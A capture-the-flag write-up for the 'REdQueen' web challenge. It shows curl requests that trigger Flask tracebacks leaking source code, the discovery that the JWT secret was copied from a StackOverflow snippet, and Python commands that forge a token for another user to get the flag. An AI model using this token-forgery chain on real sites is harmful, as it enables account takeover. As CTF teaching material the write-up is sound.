REdQueen

Description

problem description

Solution

We visit the attached website and get a login screen:

We can register:

┌──([email protected])-[/media/sf_CTFs/intent/REdQueen]
└─$ curl 'https://redqueen.intent.ctf.today/api/register' -X POST -H 'Content-Type: application/json' -b cookie.txt -c cookie.txt --data-raw '{"username":"user3","password":"password3"}'
{
  "message": "",
  "status": 1
}

Then use the credentials to login:

┌──([email protected])-[~/utils/web/jwt_tool]
└─$ curl 'https://redqueen.intent.ctf.today/api/login' -X POST -H 'Content-Type: application/json' -b cookie.txt -c cookie.txt --data-raw '{"username":"user3","password":"password3"}'
{
  "status": 1,
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNfaWQiOiJhOWIzMzNiYS0wMWY4LTQ0MzQtOTgxNy01MzNmYzM5N2EyNzMiLCJ1c2VybmFtZSI6InVzZXIzIiwiZXhwIjoxNjcxMjE5NDc4fQ.JYVA-cZ38hCo8ipr0M6f48a6FCP-DLwpIFN3zra2OoM"
}

Once we're logged in, the Red Queen challenges us:

We also get a search box to search for text within the Alice in Wonderland book:

Let's test it:

┌──([email protected])-[/media/sf_CTFs/intent/REdQueen]
└─$ curl 'https://redqueen.intent.ctf.today/api/RegexSearch' -X POST -H 'Content-Type: application/json' -b cookie.txt -
c cookie.txt --data-raw '{"pattern":"test"}'
{
  "results": [
    "  `I haven't the slightest idea,' said the Hatter."
  ]
}

Can we really use regex?

┌──([email protected])-[/media/sf_CTFs/intent/REdQueen]
└─$ curl 'https://redqueen.intent.ctf.today/api/RegexSearch' -X POST -H 'Content-Type: application/json' -b cookie.txt -c cookie.txt --data-raw '{"pattern":"te.t"}'
{
  "results": [
    "  `Are you content now?' said the Caterpillar.",
    "  `I haven't the slightest idea,' said the Hatter."
  ]
}

So a pattern such as .* might reveal the whole text:

┌──(user@kali)-[/media/sf_CTFs/intent/REdQueen]
└─$ curl 'https://redqueen.intent.ctf.today/api/RegexSearch' -X POST -H 'Content-Type: application/json' -b cookie.txt -c cookie.txt --data-raw '{"pattern":".*"}' -s | head
{
  "results": [
    "Alice's Adventures in Wonderland\n",
    "\n                ALICE'S ADVENTURES IN WONDERLAND",
    "\n",
    "\n                          Lewis Carroll",
    "\n",
    "\n               THE MILLENNIUM FULCRUM EDITION 3.0",
    "\n",
    "\n",
┌──(user@kali)-[/media/sf_CTFs/intent/REdQueen]
└─$ curl 'https://redqueen.intent.ctf.today/api/RegexSearch' -X POST -H 'Content-Type: application/json' -b cookie.txt -c cookie.txt --data-raw '{"pattern":".*"}' -s | tail
    "\nloving heart of her childhood:  and how she would gather about",
    "\nher other little children, and make THEIR eyes bright and eager",
    "\nwith many a strange tale, perhaps even with the dream of",
    "\nWonderland of long ago:  and how she would feel with all their",
    "\nsimple sorrows, and find a pleasure in all their simple joys,",
    "\nremembering her own child-life, and the happy summer days.",
    "\n",
    "\n                             THE END"
  ]
}

If we compare the output to copies of Alice in Wonderland that can be found online, we'll find that they are 1:1 binary identical, so no secret is hiding there. This leads us to try and attack the website API itself by sending malformed requests.

If we call the register endpoint without a password, we get an error which leaks part of the code:

┌──([email protected])-[/media/sf_CTFs/intent/REdQueen]
└─$ curl 'https://redqueen.intent.ctf.today/api/register' -X POST -H 'Content-Type: application/json' -b cookie.txt -c cookie.txt --data-raw '{"username":""}' -s

Results in:

File "/usr/src/app/main.py", line 58, in signup_user

@app.route('/api/register', methods=['POST'])
def signup_user():
    data = request.get_json()
    hashed_password = generate_password_hash(data['password'], method='sha256')

    new_user = Users(public_id=str(uuid.uuid4()), username=data['username'], password=hashed_password, admin=False)

    is_user_exists_already = Users.query.filter_by(username=new_user.username).first()
    if is_user_exists_already is not None:
        return jsonify({'status': 0, 'message': "User already exists!"})

KeyError: 'password' 

Or, search for an invalid regex pattern:

┌──([email protected])-[/media/sf_CTFs/intent/REdQueen]
└─$ curl 'https://redqueen.intent.ctf.today/api/RegexSearch' -X POST -H 'Content-Type: application/json' -b cookie.txt -c cookie.txt --data-raw '{"pattern":"*"}' -s

The exception we get is:

File "/usr/src/app/main.py", line 100, in regex_search

        print("pattern in json_body")
        print(regex_pattern)

    if regex_pattern is not None:
        with open(os.path.join(RUNNING_FOLDER, "alice_in_wonderland.txt"), "r") as fi:
            alice_textbook = fi.read()
            res = re.findall(f".*{regex_pattern}[,\\ .|\\s].*", alice_textbook, flags=re.IGNORECASE)
    return jsonify({'results': res})

# Based on https://stackoverflow.com/questions/66617043/flask-rest-api-typeerror
def token_required(f):

What's that StackOverflow reference?

from flask import Flask, request, jsonify, make_response
from flask_sqlalchemy import SQLAlchemy
from werkzeug.security import generate_password_hash, check_password_hash
import uuid
import jwt
import datetime
from functools import wraps

app = Flask(__name__)

app.config['SECRET_KEY'] = 'Th1s1ss3cr3t'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///library.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True

db = SQLAlchemy(app)


class Users(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    public_id = db.Column(db.Integer)
    name = db.Column(db.String(50))
    password = db.Column(db.String(50))
    admin = db.Column(db.Boolean)


class Authors(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    name = db.Column(db.String(50), unique=True, nullable=False)
    book = db.Column(db.String(20), unique=True, nullable=False)
    country = db.Column(db.String(50), nullable=False)
    booker_prize = db.Column(db.Boolean)
    user_id = db.Column(db.Integer)


def token_required(f):
    @wraps(f)
    def decorator(*args, **kwargs):

        token = None

        if 'x-access-tokens' in request.headers:
            token = request.headers['x-access-tokens']

        if not token:
            return jsonify({'message': 'a valid token is missing'})

        try:
            data = jwt.decode(token, app.config[SECRET_KEY])
            current_user = Users.query.filter_by(public_id=data['public_id']).first()
        except:
            return jsonify({'message': 'token is invalid'})

            return f(current_user, *args, **kwargs)

    return decorator


@app.route('/register', methods=['GET', 'POST'])
def signup_user():
    data = request.get_json()

    hashed_password = generate_password_hash(data['password'], method='sha256')

    new_user = Users(public_id=str(uuid.uuid4()), name=data['name'], password=hashed_password, admin=False)
    db.session.add(new_user)
    db.session.commit()

    return jsonify({'message': 'registered successfully'})

You must admit that the code that we leaked looks too similar to this StackOverflow reference. Is it possible that the SECRET_KEY was also reused?

app.config['SECRET_KEY'] = 'Th1s1ss3cr3t'

Let's try to verify this, first by trying to decode the JWT with a fake key, then using the suspected one:

>>> import jwt
>>> token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNfaWQiOiJhOWIzMzNiYS0wMWY4LTQ0MzQtOTgxNy01MzNmYzM5N2EyNzMiLCJ1c2VybmFtZSI6InVzZXIzIiwiZXhwIjoxNjcxMjE5NDc4fQ.JYVA-cZ38h
... Co8ipr0M6f48a6FCP-DLwpIFN3zra2OoM"
>>> data = jwt.decode(token, "fakeKey", algorithms="HS256")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/user/.local/lib/python3.10/site-packages/jwt/api_jwt.py", line 168, in decode
    decoded = self.decode_complete(
  File "/home/user/.local/lib/python3.10/site-packages/jwt/api_jwt.py", line 120, in decode_complete
    decoded = api_jws.decode_complete(
  File "/home/user/.local/lib/python3.10/site-packages/jwt/api_jws.py", line 202, in decode_complete
    self._verify_signature(signing_input, header, signature, key, algorithms)
  File "/home/user/.local/lib/python3.10/site-packages/jwt/api_jws.py", line 301, in _verify_signature
    raise InvalidSignatureError("Signature verification failed")
jwt.exceptions.InvalidSignatureError: Signature verification failed

Signature verification failed
>>> data = jwt.decode(token, "Th1s1ss3cr3t", algorithms="HS256")
>>> data
{'public_id': 'a9b333ba-01f8-4434-9817-533fc397a273', 'username': 'user3', 'exp': 1671219478}

>>>

It works! Which means that we can try to login as a different user. Which user? How about RedQueen from before?

>>> data["username"] = "RedQueen"
>>> encoded = jwt.encode(data, "Th1s1ss3cr3t", algorithm="HS256")
>>> encoded
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNfaWQiOiJhOWIzMzNiYS0wMWY4LTQ0MzQtOTgxNy01MzNmYzM5N2EyNzMiLCJ1c2VybmFtZSI6IlJlZFF1ZWVuIiwiZXhwIjoxNjcxMjE5NDc4fQ.N8Axj7taXH0zUMI1nUvT35FhphIvMj9Ea-xSyBzTa4Q'

We use this token to fetch the home page and get the flag:

┌──([email protected])-[/media/sf_CTFs/intent/REdQueen]
└─$ curl 'https://redqueen.intent.ctf.today/home' -H 'Cookie: loginToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNfaWQiOiJhOWIzMzNiYS0wMWY4LTQ0MzQtOTgxNy01MzNmYzM5N2EyNzMiLCJ1c2VybmFtZSI6IlJlZFF1ZWVuIiwiZXhwIjoxNjcxMjE5NDc4fQ.N8Axj7taXH0zUMI1nUvT35FhphIvMj9Ea-xSyBzTa4Q; intent-session=57ba9ed9f1a7d3d960143325b18d935e|29c10b2a403876fa3e4afe21f6464b04' -s | grep FLAG
                 <h1>FLAG - INTENT{PR0B4BLY-W3-N33D-4-N3W-53CR37-MY-M4J357Y} </h1>